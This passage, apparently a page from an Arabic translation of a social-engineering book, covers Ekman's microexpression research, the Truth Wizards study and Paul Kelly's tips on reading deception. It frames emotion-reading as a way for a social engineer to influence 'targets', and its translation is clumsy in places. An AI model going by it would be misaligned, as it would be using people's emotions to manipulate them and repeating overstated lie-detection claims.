‫ﯾﺧﺑرك ﻋﻧدﻣﺎ ﯾﺗم ﺗﺷﻐﯾل ھذه اﻟﻣﺷﺎﻋر وﻣﺎ ﯾﻣﻛن أن ﺗؤدي ﻟﮫ‪ .‬اﻟﺟﻣﻊ ﺑﯾن ھذﯾن اﻟﺟﺎﻧﺑﯾن ﯾﺳﺎﻋدﻧﺎ ﻋﻠﻰ ﻓﮭم ﺗﻌﺑﯾرات اﻟوﺟﮫ ﻛﻣﻌﺎدﻟﺔ‪.‬‬
‫إذا ﺗم ﺗﺷﻐﯾل اﻟﻌﺎطﻔﺔ ﻣن ﺧﻼل اﻟﻣﻧﺑﮭﺎت )‪ ،(stimuli‬ﻓﺗﺑدا اﻟﺧﻼﯾﺎ اﻟﻌﺻﺑﯾﺔ ﺑﺎﻟﻌﻣل‪ ،‬وإرﺳﺎل ﻧﺑﺿﺎت ﻛﮭرﺑﺎﺋﯾﺔ إﻟﻰ اﻟوﺟﮭﺔ‪ ،‬وﺗﺣرﯾك‬
‫اﻟﻌﺿﻼت ﻧﺗﯾﺟﺔ ﻟرد اﻟﻔﻌل‪ ،‬وﺗظﮭر ھذه اﻟﻌﺎطﻔﺔ ﺧﺎرﺟﯾﺎ‪.‬‬
‫اﻟﻣﺣﻔزات ‪ +‬اﻟﻌﺎطﻔﺔ = ﻣﺷﻐﻼت اﻟﻌﺿﻼت )‪(Stimuli + Emotion = Muscular Triggers‬‬
‫ﻟن أﺧوض أﻛﺛر ﻋﻣﻘﺎ ﻓﻲ ﻧظﺎم ‪ FACS‬ھﻧﺎ‪ ،‬ﻛﻣﺎ ﯾﻣﻛﻧك اﻟﺣﺻول ﻋﻠﻰ ﻛورس ﻛﺎﻣل ﻋن ‪ FACS‬ﻣن ﺧﻼل اﻻﻧﺗرﻧت‪ .‬وﺟﮭﺔ ﻧظري ھو ان‬
‫اﻗول ﻟﻛم ﻛﯾف ﻛل ھذا أﺻﺑﺢ ﺟزءا ھﺎﻣﺎ ﻓﻲ ﻓﮭم اﻟﻧﺎس‪.‬‬
‫واﺣدة ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﻗﺎﻟﮭﺎ اﻟدﻛﺗور أﯾﻛﻣن‪ ،‬اﻟﺷﻲء اﻟوﺣﯾد اﻟذي آﻣل أن ﺗﺗﻣﻛن ﻣن اﺗﺧﺎذه ﺑﻌﯾدا‪ :‬ﻓﻘط ﻷﻧك ﺗرى ﻋﺎطﻔﺔ ﺷﺧص ﻣﺎ ﻻ ﯾﻌﻧﻲ إﻧك‬
‫ﺗﻔﮭم ﻟﻣﺎذا ﯾﺷﻌر اﻟﺷﺧص ﺑﮭذه اﻟﻌﺎطﻔﺔ‪ ،‬أو ﻋرض ‪ microexpressions‬ﻟﻠوﺟﮫ‪ ،‬أو ﺟزﺋﻲ‪ ،‬وھذا ﯾﺗﻌﺎرض ﻣﻊ ﻣﺎ ﯾﻘﺎل‪.‬‬
‫ﺑﻣﺟرد ﺗﻌﻠم ﻛﯾﻔﯾﺔ اﻟﺗﻌرف وﺗﺣدﯾد ﺗﻌﺑﯾرات اﻟوﺟﮫ اﻟدﻗﯾﻘﺔ‪ ،‬ﯾﻣﻛﻧك ﺗﻐﯾﯾر ﻧﻣط اﻻﺗﺻﺎل اﻟﺧﺎﺻﺔ ﺑك ﻋﻠﻰ أﺳﺎس اﻟﻌﺎطﻔﺔ اﻟﺗﻲ ﺗراھﺎ ﻣﻌروﺿﺔ‪،‬‬
‫ﺛم ﺗﻘﺣم اﻷﺳﺋﻠﺔ واﻻﺳﺗﻧﺑﺎط ﻟﺗﺄﻛﯾد اﻟﻌواطف اﻟﺗﻲ ﺗﻌﺗﻘد إﻧك ﺗراھﺎ‪ .‬ﺑﺎﺳﺗﺧدام اﻷﺳﺋﻠﺔ‪ ،‬واﻟﻣﺣﺎدﺛﺔ‪ ،‬واﻻﺳﺗﻧﺑﺎط ﺳوف ﺗﻛون ﻗﺎدرة ﻋﻠﻰ ﺗﺣدﯾد‬
‫اﻷﺳﺑﺎب اﻟﺣﻘﯾﻘﯾﺔ ﻟﻠﻌﺎطﻔﺔ اﻟﺗﻲ ﺷﺎھدﺗﮭﺎ‪ .‬اﻟدﻛﺗور أﯾﻛﻣن وﺿﻊ أداة ﺗدرﯾﺑﯾﺔ إﻋﻼﻣﯾﺔ‪ ،‬اﻻﺳﺗﺟﺎﺑﺔ اﻟﻔﻌﺎﻟﺔ ﻟﺗﻌﺑﯾرات ﻋﺎطﻔﯾﺔ‪ ،‬أو‪ ، RE3‬ﻟﻠﻣﺳﺎﻋدة‬
‫ﻓﻲ ﺗطوﯾر ھذه اﻟﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﮭﺎرات‪.‬‬
‫ﻛﻠﻣﺔ واﺣدة ﻣن اﻟﺣذر‪ :‬ﺗﺄﻛد ﻣن ﻋدم ﺿﺦ اﻟﻌواطف اﻟﺧﺎﺻﺔ ﺑك إﻟﻰ ﻣﺎ ﺗراه أو اﻓﺗراﺿﺎت ﺣول ﻟﻣﺎذا ﯾﺷﻌر ﺷﺧص ﻣﺎ ﺑطرﯾﻘﺔ ﻣﻌﯾﻧﺔ‪) .‬اﻟﻘﯾﺎم‬
‫ﺑذﻟك ﻣن ﺷﺄﻧﮫ أن ﯾﺟﻌﻠك ﻋرﺿﺔ ﻟﻠﺧطﺄ "‪ (" My Theory‬ﻋﻧد ﺑدء اﻟﺣوار‪ ،‬ﯾﻣﻛﻧك ﺗﺣدﯾد ﺳﺑب وﺟود اﻟﻌﺎطﻔﺔ‪ .‬اﻟﻘدرة ﻋﻠﻰ ﻓﮭم اﻟﻣﺷﺎﻋر‬
‫ﯾﺳﺎﻋدك ﻋﻠﻰ اﻟﺗﻛﯾف واﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻟﮭدف اﻟﺧﺎص ﺑك أﻛﺛر‪.‬‬
‫ﺗذﻛر أﯾﺿﺎ أن ھدﻓك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ھو أن ﺗﺻﺑﺢ ﺟزءا ﻣن أھداﻓك‪ .‬ذﻟك ھو أﺳﮭل ﻋﻧد ﻣﻧﺣﮭم اﻟﻣزﯾد ﻣن اﻟﺳﺑب ﻟﯾﺷﻌروا ﺑﺄﻧك ﻣﺛﻠﮭم‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻓﺗرض أﻧك ﺗﻘﺗرب ﻣن ﻣﺟﻣوﻋﺔ ﻣن اﻟﻐرﺑﺎء اﻟذﯾن ﯾﺿﺣﻛون ﻣﻊ اﻣﺗﻼﻛك وﻗت ﻛﺑﯾر‪ .‬ﺗﻘوم ﺑﺗﻌﻠﯾﻖ رأﺳك‪ ،‬ﺟﻔوﻧك ﺗﺗدﻟﻰ‪،‬‬
‫وﯾﺗم ﺗﺣوﯾل ﺷﻔﺗﯾك أﺳﻔل ھذه ﻋﻼﻣﺔ ﻛﻼﺳﯾﻛﯾﺔ ﻋن اﻟﺣزن‪ .‬ﻓﺈﻣﺎ ان ﺗرﯾد اﻟﻣﺟﻣوﻋﺔ أن ﺗﺗورط ﻣﻌﻛم وﻓﻰ ﻣﺷﺎﻛﻠك‪ ،‬أو أﻧﮭﺎ ﺳوف ﺗﺗﺟﺎھﻠك؟ إذا‬
‫ﻛﺎن ھدﻓك ھو اﻟوﺻول اﻟﻰ ھذه اﻟﻣﺟﻣوﻋﺔ‪ ،‬ورﺑﻣﺎ ﯾﻣﻛﻧك ﺗﺧﯾل أن ذﻟك ﺳﯾﻛون أﻛﺛر ﺻﻌوﺑﺔ إذا ﺑدوت ﺣزﯾن‪.‬‬
‫ﺑدأ اﻟدﻛﺗور أﯾﻛﻣن واﻟدﻛﺗور اوﺳوﻟﯾﻔﺎن ﺑرﻧﺎﻣﺞ ﺳﻣوه ‪ .Truth Wizards‬وﺣددوا ﻣﺟﻣوﻋﺔ ﺻﻐﯾرة ﺟدا ﻣن اﻟﻧﺎس اﻟذﯾن ﯾﺑدو أن ﻟدﯾﮭم‬
‫اﻟﻘدرة ذات ﻣﺗوﺳط أﻋﻠﻰ ﺑﻛﺛﯾر ﻟﻠﻛﺷف ﻋن اﻟﺧداع‪ " scientific editor" .‬ﻛﺗﺎب ﻟﺑول ﻛﯾﻠﻲ‪ .‬ﻛﺎن ﻗد ﺗم ﺗﺣدﯾدھﺎ ﻋﻠﻰ أﻧﮭﺎ واﺣدة ﻣن ھذه‬
‫اﻟﻣﻌﺎﻟﺟﺎت اﻟﺣﻘﯾﻘﺔ‪.‬‬
‫ﻗﺎﺑل اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ اﻟدﻛﺗور أﯾﻛﻣن ﺑﻌد اﻻﺳﺗﻣﺎع إﻟﻰ ﻋرض ﻋن ‪ micros‬وﻋرف ﻛﻼھﻣﺎ اﻧﮭﻣﺎ ﻣﮭﺗﻣﯾن ﺑﻧﻔس اﻟﺛﻘﺎﻓﺎت‪ .‬ﺣﯾث ﺗم ﺗﺣدﯾد‬
‫أوﺟﮫ ﻣﺛﯾرة ﺟدا ﻟﻼھﺗﻣﺎم ﻣن ﻣﮭﺎرات اﻻﺗﺻﺎل ﻟﻠدﻛﺗور ﺑول ﻛﯾﻠﻲ ﺑﺎﻋﺗﺑﺎرھﺎ ‪ Truth Wizard‬ﻣن ﻗﺑل اﻟدﻛﺗور أﯾﻛﻣن واﻟدﻛﺗور اوﺳوﻟﯾﻔﺎن‬
‫ﻋﻠﻰ ﺗﻘﯾﯾم اﻟﻣﺻداﻗﯾﺔ وﻛﺷف اﻟﺧداع‪ .‬ﺑﺣﻠول ﻋﺎم ‪ ،1982‬ﻛﺎن اﻟدﻛﺗور أﯾﻛﻣن ﺣدد ﻗﺎﺋﻣﺔ ﻣن اﻟﻌﺑﺎرات اﻟﺗﻲ ارﺗﺑطت ﻣﻊ اﻟﻌواطف اﻟﻌﺎﻟﻣﯾﺔ‬
‫اﻷﺳﺎﺳﯾﺔ أو اﻟﺑﯾوﻟوﺟﯾﺔ‪ :‬اﻟﻐﺿب )‪- (Anger‬اﻻﺷﻣﺋزاز )‪- (Disgust‬اﻟﺧوف )‪- (Fear‬اﻟﻔرح )‪- (Joy‬اﻟﺣزن )‪- (Sadness‬اﻟﻣﻔﺎﺟﺄة‬
‫)‪- (Surprise‬اﺣﺗﻘﺎر‪ /‬ازدراء )‪.(contempt‬‬
‫ﯾﻧﺎﻗش ھذا اﻟﻔﺻل ﻛل ﻋﺎطﻔﺔ ﺑﺎﻟﺗﻔﺻﯾل‪ ،‬وﯾﻘدم اﻟﻌدﯾد ﻣن اﻷﻣﺛﻠﺔ ﻣﺎ اﻟذي ﺗﺑﺣث ﻋﻧﮫ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﺳوف ﺗﺣﺗﺎج ﻟﻘرأه اﻟﻘﺻص‬
‫واﻟرواﯾﺎت ﻣن اﻟﻣﻌﺎﻟﺞ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺳﺎﻋد ﺗرﺳﯾﺦ ھذه اﻟﻧﻘﺎط وﺗﺑﯾن ﻟﻛم ﻛﯾف ﯾﻣﻛن ﻷي ﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن ﺗﻌﻠم ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ھذه‬
‫اﻟﻣﮭﺎرات‪.‬‬
‫ﺑدأ ﻋﻣل اﻟدﻛﺗور أﯾﻛﻣن ﯾﺄﺧذ ﻋﻠﻰ ﻣﺎ ﯾﻠﻲ‪ ،‬ﺑدأ اﻟﻌدﯾد ﻣن ﻣﻧﻔذي اﻟﻘﺎﻧون وﺑﯾﺋﺎت اﻟﺷرﻛﺎت اﺳﺗﺧدام ھذا اﻟﺑﺣث ﻓﻲ اﻟﻛﺷف ﻋن اﻟﺧداع‪ .‬ﻓﻲ ﻋﺎم‬
‫‪ ،1990‬ﻓﻲ ورﻗﺔ ﺑﻌﻧوان "اﻟﻌواطف ﺑﺳﯾطﺔ )‪ "(Basic Emotion‬ﻗﺎم اﻟدﻛﺗور أﯾﻛﻣن ﺑﺗﻧﻘﯾﺢ اﻟﻘﺎﺋﻣﺔ اﻷﺻﻠﯾﺔ ﻟﺗﺷﻣل ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﺷﺎﻋر‬
‫اﻻﯾﺟﺎﺑﯾﺔ واﻟﺳﻠﺑﯾﺔ )‪ .(http://www.paulekman.com/‬وﻗد ﻧﺷر اﻟدﻛﺗور أﯾﻛﻣن اﻟﻌدﯾد ﻣن اﻟﻛﺗب ﺣول اﻟﻌواطف وﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ ،‬وﻛﺷف‬
‫اﻟﻛذب اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻛل ﺷﺧص أن ﯾﻔﮭم ﻗﯾﻣﺔ اﻟﻘدرة ﻋﻠﻰ ﻓك رﻣوز ﺗﻌﺑﯾرات اﻟوﺟﮫ‪.‬‬
‫ﻓﻲ اﻟﻔﺗرة ﻣن ‪ 2009-2008‬ﻛﺎن ﯾوﺟد ﺑرﻧﺎﻣﺞ ﺗﻠﻔزﯾوﻧﻲ ﯾﺳﻣﻰ "‪ "Lie to Me‬ﻛﺎن ﻣﺳﺗﻧدا ﻋﻠﻰ أﺑﺣﺎث اﻟدﻛﺗور أﯾﻛﻣن‪ "Lie to Me" .‬ﯾﻘوم‬
‫ﻋﻠﻰ ﻋﻠم ‪ microexpressions‬ﻟﻛن ﻣﻊ دراﻣﺎ ھوﻟﯾوود اﻟﺗﻲ ﺗﺟﻌل اﻟﺑراﻣﺞ اﻟﺗﻠﻔزﯾوﻧﯾﺔ اﻟﺟﯾدة‪ .‬ﺗﻌرض ﺑﻌض أﺷرطﺔ اﻟﻔﯾدﯾو وﺻﻔﺎ ﻣﻣﺗﺎزة‬
‫ﻋن اﻠ ‪ microexpressions‬اﻟﻣﻧدرﺟﺔ ﻣن اﻟﻣﺳﻠﺳل "‪."Lie to Me‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪827‬‬

‫ﻣن ﺧﻼل ھذا اﻟﻣوﺟز ﻣن اﻟﺗﺎرﯾﺦ ﯾﺷﯾر إﻟﻰ أن ﻣوﺿوع ‪ microexpressions‬ﻟﯾس وﺣﻲ اﻟﺧﯾﺎل‪ .‬ﻋﻠﻰ اﻟﻌﻛس ﻣن ذﻟك‪ ،‬ﺣﯾث ﻗﺿﻰ اﻷطﺑﺎء‬
‫واﻟﺑﺎﺣﺛﯾن واﻟﻣﮭﻧﯾﯾن ﻓﻲ ﻣﺟﺎل اﻟﺳﻠوك اﻟﺑﺷري ﺳﺎﻋﺎت ﻻ ﺗﺣﺻﻰ ﻓﻲ ﻓﮭم ‪ .microexpressions‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﻓﮭم ‪microexpressions‬‬
‫ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺣﻣﺎﯾﺔ ﻋﻣﻼءك وﺗﻌﻠﯾﻣﮭم ﻛﯾﻔﯾﺔ ﻣﻼﺣظﺔ اﻟﺗﻠﻣﯾﺣﺎت اﻟﺧﻔﯾﺔ ﻣن اﻟﺧداع‪.‬‬
‫إذا ﻛﻧت ﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬أو ﻣﺟرد ﺷﺧص ﻣﮭﺗم ﻓﻲ ﺗﻌﻠم ‪ ،microexpressions‬أﻗﺗرح ﺑﺷدة ﻗراءة ﻛﺗب اﻟدﻛﺗور أﯾﻛﻣن‪ ،‬وﺧﺻوﺻﺎ‬
‫اﻟﻛﺗﺎب ذات اﻟﻌﻧوان ‪ .Emotions Revealed and Unmasking the Face‬اﻟﻣﻘﺎطﻊ اﻟﺗﺎﻟﯾﺔ ﺗﺻف ‪ microexpressions‬ﻓﻲ ﺷﻛل‬
‫ﻣﺑﺳط ﺣﺗﻰ ﺗﺳﺗطﯾﻊ أن ﺗرى ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧدام ھذا ﻓﻲ وﻗت ﻻﺣﻖ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﺗﺟرﺑﺔ ﻣﻣﺗﺎزة ﻻﺧﺗﺑﺎر ﻗدرﺗك ﻓﻲ ‪ microexpressions‬ﻣﺗﺎح ﻣن ﺧﻼل ﻣوﻗﻊ اﻟوﯾب‪.‬‬
‫‪http://www.cio.com/article/2451808/careers-staffing/facial-expressions-test.html‬‬
‫ﻗﺎد اﻟدﻛﺗور ﺑول أﯾﻛﻣن اﻟﻣﺟﺎل ﻓﻲ ھذا اﻟﺑﺣث وﺑﻧﺷﺎط ﻻ ﯾزال ﯾﻧﺗﺞ أدوات اﻟﺗدرﯾب ﻟﻣﺳﺎﻋدة اﻵﺧرﯾن ﻟﻘراءة واﺳﺗﺧدام اﻻﺗﺻﺎﻻت اﻟﻐﯾر ﻟﻔظﯾﺔ‬
‫ﻋﻠﻰ ﻣوﻗﻌﮫ ﻋﻠﻰ اﻻﻧﺗرﻧت )‪.(http://www.paulekman.com/product-category/face-training‬‬
‫ﻣﺎ ھﻮ ‪Truth Wizard‬؟‬ ‫•‬
‫ﻓﻲ ﺑرﻧﺎﻣﺞ ‪ ،Truth Wizard‬اﻟدﻛﺗور أﯾﻛﻣن واﻟدﻛﺗور اوﺳوﻟﯾﻔﺎن ﻗﺎﻣﺎ ﺑﺎﺧﺗﺑﺎر أﻛﺛر ﻣن ‪ 15،000‬ﺷﺧص‪ ،‬ووﺟد أن ‪ 50‬ﻓﻘط ﻛﺎن اﻟﻣﺗوﺳط‬
‫ﻟﻣن ﻟدﯾﮭم اﻟﻘدرة أﻋﻠﻰ ﺑﻛﺛﯾر ﻟﻛﺷف اﻟﺧداع‪ .‬ھذه اﻟﻘدرة ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺗﺿﻣن اﻟﻘدرة ﻋﻠﻰ ﻗراءة واﻛﺗﺷﺎف‪ ،‬وﻓك ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪) .‬ﻓﻲ وﻗت ﻻﺣﻖ‪،‬‬
‫اﺛﺑت اﻟدﻛﺗور أﯾﻛﻣن أن ﺗﻌﻠم اﻟﺗﻌرف وﺗﺣدﯾد ﺗﻌﺑﯾرات اﻟوﺟﮫ ھﻲ ﻣﮭﺎرة ﻗﺎﺑﻠﺔ ﻟﻠﺗﻌﻠم ﺑﺳﮭوﻟﺔ(‪ .‬أﻋطﻰ ھذا اﻟﻌدد اﻟﺻﻐﯾر ﻣﻧﮭم ﻓﻘط ﻋدد ﻗﻠﯾل ﻣن‬
‫اﻟﻧﺎس ﻟﻠﻌﻣل ﻣﻊ ﻣﺟﻣوﻋﺔ اﻷﺑﺣﺎث‪ .‬ﻟﻸﺳف‪ ،‬أﺻدر اﻟدﻛﺗور اوﺳوﻟﯾﻔﺎن ﺑﻌﯾدا ﻗﺑل أن ﯾﺗﻣﻛن ﻣن ﻧﺷر ﻋﻣﻠﮫ ﻋن ‪ .Truth Wizards‬ﻟﻘد‬
‫وﺻﻔﮭم اﻟدﻛﺗور أﯾﻛﻣن م ﺑﺄﻧﮭﺎ "ﻣﺛل اﻟرﯾﺎﺿﯾﯾن اﻷوﻟﻣﺑﯾﯾن‪ ".‬اوﺳوﻟﯾﻔﺎن أﺷﺎر إﻟﻰ أن "اﻟﻣﻌﺎﻟﺟﺎت )‪ (Wizard‬ﻟدﯾﻧﺎ ﻟدﯾﮭﺎ ﺗﻧﺎﻏم ﻏﯾر ﻋﺎدى‬
‫ﻟﻠﻛﺷف ﻋن اﻟﻔروق اﻟدﻗﯾﻘﺔ ﻓﻲ ﺗﻌﺑﯾرات اﻟوﺟﮫ‪ ،‬وﻟﻐﺔ اﻟﺟﺳد وطرق اﻟﺗﺣدث واﻟﺗﻔﻛﯾر‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮭﺎ ﯾﺑدو أن ﻟدﯾﮭﺎ ﻣوھﺑﺔ طﺑﯾﻌﯾﺔ‪ ،‬ﻓﮭم‬
‫ﯾﻣﺎرﺳون وﯾدﻓﻌون داﺋﻣﺎ اھﺗﻣﺎﻣﺎ ﻛﺑﯾرا‪ .‬أﻧﮭﺎ ﺗﻣﯾل إﻟﻰ أن ﺗﻛون أﻛﺑر ﺳﻧﺎ‪ ،‬أﯾﺿﺎ‪ ،‬ﻣﻊ اﻟﻛﺛﯾر ﻣن اﻟﺧﺑرة ﻓﻲ اﻟﺣﯾﺎة ذات اﻟﺻﻠﺔ‪.‬‬
‫‪http://www.eurekalert.org/pub_releases/2004-10/ama-lad100804.php‬‬
‫أﺷﺎر اﻟدﻛﺗور أﯾﻛﻣن‪ ،‬وﻗﺎل" ﻧﺣن ﻻ ﻧزال ﻧﺣﺎول ﻣﻌرﻓﺔ ﻛﯾف ﻓﻲ ھذا ﻣن ﺗﻌﻠم ھذه اﻟﻣﮭﺎرة؟ ھل ھم ﻣﮭﺎره ﻓﻲ ﻛﺷف اﻟﻛذب‪ .‬ھل ھم ﻓﻘط‬
‫ﯾﻣﻠﻛون ذﻟك؟ ‪.http://www.onthemedia.org/story/131287-the-face-never-lies/transcript‬‬
‫ﺑول ﻛﯾﻠﻲ ھو ﻣن ﺑﯾن ھذه اﻟﻣﺟﻣوﻋﺔ‪ .‬ﻛﻌﺎﻣل ﺳﺎﺑﻖ ﻓﻲ اﻟﺧدﻣﺔ اﻟﺳرﯾﺔ‪ ،‬ﻣدﯾر ﺑﺎﻟطﺑﻊ‪ ،‬وﻣدرب ﺑﺎرز ﻓﻲ أﻛﺎدﯾﻣﯾﺔ اﻟﺧدﻣﺔ اﻟﺳرﯾﺔ اﻷﻣرﯾﻛﻲ‪،‬‬
‫وﻋﺿو ھﯾﺋﺔ ﺗدرﯾس ﻣﺳﺎﻋد ﻓﻲ ﻣدرﺳﺔ وﻛﺎﻟﺔ اﻻﻣن اﻟﻘوﻣﻲ اﻟوطﻧﻲ ‪ ،Cryptologic‬ﻟدﯾﮫ ﺧﺑرة ﻛﺑﯾرة ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻊ ﺟﻣﯾﻊ أﻧواع اﻟﻧﺎس‪.‬‬
‫ﻓﻲ ﻣﻧﺎﻗﺷﺗﻧﺎ‪ ،‬أردت أوﻻ أن ﻧﺣدد اﻟﻔرق ﺑﯾن ‪ macroexpressions‬و‪ .microexpressions‬ﺳﺎﻋد ﺑول ﻛﯾﻠﻲ ﻓﻲ أن ﻧرى ﺟﺎﻧب اﻟﻣدة‬
‫)‪ microexpressions‬ﺳرﯾﻌﺔ ﺟدا‪ ،‬ﻣن ‪ 5/1‬إﻟﻰ ‪ 25/1‬ﻣن اﻟﺛﺎﻧﯾﺔ‪ ،‬و‪ macroexpressions‬ﯾﻣﻛن أن ﺗﺳﺗﻣر ﻣﺎ ﺑﯾن ‪ 2‬و‪ 4‬ﺛوان(‪،‬‬
‫واﻟﻔرق اﻟرﺋﯾﺳﻲ ﺑﯾﻧﮭﻣﺎ ھو أن ‪ macroexpressions‬ھﻲ اﻟﺗﻌﺎﺑﯾر اﻟﻌﺎطﻔﯾﺔ اﻟﺗﻲ ﺗرى ﻋﻠﻰ اﻟﻧﺎس‪ .‬ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪microexpressions ،‬‬
‫ھﻲ ﻻ إرادي‪ ،‬ﻻ ﯾﻣﻛن اﻟﺳﯾطرة ﻋﻠﯾﮭﺎ‪ ،‬وﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺣﻛﻲ ﻋن اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ اﻟﺣﻘﯾﻘﻲ ﻟﻠﻔرد واﻟﺗﻲ ﺗﺷﮭد ﺗﻠك اﻟﻠﺣظﺔ‪.‬‬
‫إذا ﻛﺎن ﯾﻣﻛﻧﻧﺎ أن ﻧرى ‪ ،microexpressions‬ﻓﮭل ھذا ﯾﻌﻧﻲ ﺗﻠﻘﺎﺋﯾﺎ ان اﻟﮭدف ﯾﻣﻛن أن ﯾﻛون ﻣﺧﺎدﻋﺎ؟ ﻗﺎل اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ ھذا ھو‬
‫ﻣﻔﮭوم ﺧﺎطﺊ وﺷﺎﺋﻊ‪ Microexpressions .‬ھﻲ ﻗﻣﻊ واﻋﻲ‪ ،‬أو ﻗﻣﻊ ﻓﺎﻗد اﻟوﻋﻲ ﻣن اﻟﻌﺎطﻔﺔ ﻣن ﺧﻼل ﻋرض ھذه اﻟﺗﻌﺑﯾرات اﻟﺻﻐﯾرة‪.‬‬
‫اﻟﺳؤال اﻟذي ﯾطرح ﻧﻔﺳﮫ ھو ﻣﺎ إذا ﻛﺎن ﺣﺗﻣﺎ ﻣوھﺑﺔ ﻗراءة اﻟﻧﺎس ﯾﻣﻛن أن ﺗﺳﺗﺧدم ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص ﯾﻛذب ‪ .‬ﺑول ﻛﯾﻠﻲ ﻛﺎن ﻣﺻرا‬
‫أﻧﮫ ﻻ ﯾوﺟد ﺷﻲء ﻣﺛل ﻓﻛرة "ﺑﯾﻧوﻛﯾو"‪ .‬وﺑﻌﺑﺎرة أﺧرى‪ ،‬ﺣﯾث اﻧﮫ ﻻ ﯾوﺟد ﻓﻛرة واﺣدة‪ ،‬أو ﻣﺎﯾﻛرو‪ ،‬ﯾﻘول ﻟك‪ ،‬ﻓﻲ ﺣد ذاﺗﮫ‪ ،‬أن ﺷﺧﺻﺎ ﻣﺎ‬
‫ﯾﻛذب‪ .‬ﻛﺷف ھذا اﻟﺧروج ﯾﺗﺿﻣن ﺗﺣدﯾد ﺧط اﻷﺳﺎس واﻟﺑﺣث ﻋن اﻟﺗﻐﯾﯾرات ﻓﻲ ﺳﻠوك اﻟﮭدف‪ ،‬ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ طرح اﻷﺳﺋﻠﺔ‪ ،‬وﻣﺗﺎﺑﻌﺔ ﻗراءة‬
‫اﻟﻣزﯾد ﻣن اﻟﺗﻌﺑﯾرات‪.‬‬
‫ﺑﻌض اﻟﻧﺻﺎﺋﺢ واﻟﺗﻌﻠﯾﻘﺎت ﻣن ﻗﺑل اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ‪:‬‬
‫‪ .1‬إذا رأﯾت ﺗﻌﺑﯾرات اﻟوﺟﮫ اﻟﺣﺎﺳﻣﺔ‪ ،‬واﻟﺑدء ﻓﻲ اﻟﺑﺣث ﻋن اﻟﺟواب ﻋﻠﻰ ذﻟك ﻣﮭم "ﻟﻣﺎذا"‪ ،‬ﻻ ﺗرﻛز ﻋﻠﻰ إﻣﻛﺎﻧﯾﺔ واﺣدة ﻓﻘط‪ .‬ﺑدﻻ ﻣن‬
‫ذﻟك‪ ،‬ﺗﺟﺑر ﻧﻔﺳك ﻋﻠﻰ وﺿﻊ "ﻓرﺿﯾﺔ ﺑدﯾﻠﺔ" ﻋن ﺳﺑب ظﮭور ھذا اﻟﺗﻌﺑﯾر‪ .‬وﺑذﻟك ﺗﺳﺎﻋد ﻋﻠﻰ إﺑﻘﺎء ﻣوﺿﻌﯾﺗك‪.‬‬
‫‪ .2‬ﻛن ﻣﺳﺗﻣﻌﺎ ﻧﺷطﺎ وﻣراﻗب‪ .‬ﻻ ﺗرﻛز ﻋﻠﻰ ﺷﻲء واﺣد؛ اﻻﺳﺗﻔﺎدة ﻣن ﺟﻣﯾﻊ اﻟﻘﻧوات اﻟﺧﻣﺳﺔ‪ :‬اﻟوﺟﮫ وﻟﻐﺔ اﻟﺟﺳد‪ ،‬واﻟﺻوت‪ ،‬وﻧﻣط‬
‫اﻟﺻوت‪ ،‬واﻟﻣﺣﺗوى اﻟﺻوﺗﻲ‪.‬‬
‫‪ .3‬ﻻ ﺗﺟﻌل اﻻﻧدﻓﺎع إﻟﻰ اﻟﺣﻛم‪ .‬ﺧذ ﻛل اﻟوﻗت اﻟﻣﺗﺎح ﻗﺑل اﺗﺧﺎذ أي ﻗرار‪ .‬اﺳﺗﺧدام ﻛل اﻹﺷﺎرات اﻟﻠﻔظﯾﺔ واﻟﻐﯾر ﻟﻔظﯾﺔ اﻟﻣﺗﺎﺣﺔ‪.‬‬
‫‪ .4‬ﻣﻼﺣظﺔ ﺗﻌﺑﯾرات اﻟوﺟﮫ اﻟﺣﺎﺳﻣﺔ ﻷﻧﮭﺎ ﺗﺣدث‪ ،‬وﻟﻛن ﯾﺟب ان ﺗﻛون اﻧﺗﻘﺎﺋﯾﺔ ﻓﻲ اﻟﻣﻘﺎﺑﻠﺔ اﻟﺗﻲ ﺗﺗﺑﻌﮭﺎ ﻟﻣواﺟﮭﺔ اﻟﻣﺗﻛﻠم‪.‬‬
‫ﻗطﻌﺔ واﺣدة ﻧﮭﺎﺋﯾﺔ ﻟﻠﻣﺷورة ﻗﺑل أن ﻧذھب ﻗدﻣﺎ‪ :‬ﻛل ﻣﺎ ﻧﻌرﻓﮫ ﻋﻠﻰ وﺟﮫ اﻟﯾﻘﯾن ھو ﻣﺎ ﺗراه‪ ،‬ﻟذﻟك ﻻ ﺗﺟﻌل اﻻﻓﺗراﺿﺎت ﺣول ﻟﻣﺎذا اﻟﺷﺧص‬
